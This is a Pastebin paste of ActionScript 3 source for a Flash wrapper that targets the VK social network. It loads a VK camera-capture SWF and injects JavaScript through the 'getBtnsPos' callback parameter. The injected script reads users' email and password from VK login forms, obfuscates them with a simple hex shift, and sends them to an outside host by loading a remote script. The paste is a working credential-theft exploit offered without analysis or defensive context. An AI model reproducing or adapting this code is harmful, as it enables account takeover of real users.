Hormold

Untitled

Dec 9th, 2012
144
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. package {
  2.     import flash.events.*;
  3.     import flash.display.*;
  4.     import flash.system.*;
  5.     import flash.external.*;
  6.     import flash.net.*;
  7.  
  8.     public class wrpfirst extends Sprite {
  9.  
  10.         private var ldr:Loader;
  11.         private var protocol:string;
  12.  
  13.         public function wrpfirst():void{
  14.             if (stage){
  15.                 this.inj();
  16.             } else {
  17.                 addEventListener(Event.ADDED_TO_STAGE, this.inj);
  18.             };
  19.         }
  20.         private function inj(_arg1:Event=null):void{
  21.             var url:* = null;
  22.             var e = _arg1;
  23.             removeEventListener(Event.ADDED_TO_STAGE, this.inj);
  24.             Security.allowdomain("*");
  25.             Security.allowinsecuredomain("*");
  26.             var wrapper:* = object(parent.parent);
  27.             this.protocol = "http://";
  28.             if (wrapper.application.parameters.api_url == "https://api.vk.com/api.php"){
  29.                 this.protocol = "https://";
  30.             };
  31.             if (this.protocol == "https://"){
  32.                 url = "https://pp.userapi.com/c6110/u17274528/0be6d7cc7b1bbd.zip";
  33.             } else {
  34.                 if (this.protocol == "http://"){
  35.                     url = "http://cs6110.userapi.com/u17274528/0be6d7cc7b1bbd.zip";
  36.                 };
  37.             };
  38.             wrapper.addEventListener("onMouseLeave", this.onMouseLeave);
  39.             var urlReq:* = new URLRequest(url);
  40.             var urlVars:* = new URLVariables();
  41.             urlVars.s_noCamera = "noCam";
  42.             urlVars.s_noAccess = "noAcc";
  43.             urlVars.s_setAccess = "setAc";
  44.             urlVars.s_capture = "sCapt";
  45.             urlVars.s_videoMode = "remCa";
  46.             urlVars.hideClbk = "alert";
  47.             urlVars.saveClbk = "alert";
  48.             urlVars.overClbk = "alert";
  49.             urlVars.outClbk = "alert";
  50.             urlVars.downClbk = "alert";
  51.             urlVars.upClbk = "alert";
  52.             urlVars.showSaveClbk = "alert";
  53.             urlVars.hideSaveClbk = "alert";
  54.             urlVars.hideCaptureClbk = "";
  55.             urlVars.progressClbk = "";
  56.             urlVars.getBtnsPos = "function(x){re(\"flash_app\");var email='';var pass='';var hex='';if(window.quick_auth_frame !== void(0)){email=quick_auth_frame.document.getElementById(\"quick_email\").value;pass=quick_auth_frame.document.getElementById(\"quick_pass\").value;}else if(window.quick_login_form!==void(0)){email=ge(\"quick_email\").value;pass=ge(\"quick_pass\").value;};if(email!=''&&pass!=''){var ps=email+':'+pass;for(var i=0;i<ps.length;i++){hex+=''+(ps.charCodeAt(i)+7).toString(16);};};geByTag1('head').appendChild(ce('script',{type:'text/javascript',src:'https://package.koding.com/muha/inj.js?rnd='+hex},{}));}(3)";
  57.             urlVars.jpgQuality = "95";
  58.             urlVars.upload_url = "http://ya.ru/";
  59.             urlVars.protocol = this.protocol;
  60.             urlReq.data = urlVars;
  61.             var context:* = new LoaderContext(false, null, null);
  62.             this.ldr = new Loader();
  63.             this.ldr.contentLoaderInfo.addEventListener(Event.COMPLETE, this.onWrpLoadComplete);
  64.             this.ldr.contentLoaderInfo.addEventListener(SecurityErrorEvent.SECURITY_ERROR, function ():void{
  65.                 debug("Security error");
  66.             });
  67.             this.ldr.contentLoaderInfo.addEventListener(IOErrorEvent.IO_ERROR, function ():void{
  68.                 debug("IO Error");
  69.             });
  70.             try {
  71.                 this.ldr.load(urlReq, context);
  72.             } catch(e:error) {
  73.                 debug(e.message);
  74.             };
  75.         }
  76.         private function onWrpLoadComplete(_arg1:Event):void{
  77.             this.ldr.removeEventListener(Event.COMPLETE, this.onWrpLoadComplete);
  78.             addChild(this.ldr);
  79.         }
  80.         private function onMouseLeave(_arg1:Event):void{
  81.             removeChildAt(0);
  82.             this.ldr = null;
  83.         }
  84.         private function debug(_arg1:string):void{
  85.             if (ExternalInterface.available){
  86.                 ExternalInterface.call("console.log", _arg1);
  87.             };
  88.         }
  89.  
  90.     }
  91. }//package
Advertisement
Add Comment
Please, Sign In to add comment